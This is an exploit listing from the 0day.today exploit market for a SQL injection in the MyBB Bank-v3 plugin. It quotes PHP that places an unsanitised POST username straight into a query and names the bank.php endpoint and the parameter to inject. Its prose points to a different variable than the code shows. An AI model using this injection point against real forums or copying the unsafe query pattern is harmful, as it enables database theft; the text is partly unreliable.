[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

MyBB Bank-v3 Plugin SQL Injection Vulnerability

Author
Red_Hat
Risk
[
Security Risk High
]
0day-ID
0day-ID-19945
Category
web applications
Date add
12-12-2012
Platform
php
# Exploit Title: Bank v3 MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [NullSec]
# Software Link: http://mods.mybb.com/download/bank-v3
# Tested on: Windows & Linux.
 
Vulnerable code :
 
<?php
     $user=$_POST['r_username'];
     $pay=intval($_POST['r_pay']);
     $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");
     $fetch=$db->fetch_array($query_r);
?>
 
The variable '$mybb->input['id']' remains unsanitized.
 
Usage :
http://www.site.com/bank.php
/GET transactions=send
/POST r_pay=Red_Hat&r_username=[SQLi]
 
Shoutout to Zixem <3 & NullSec :3

#  0day.today [2024-11-16]  #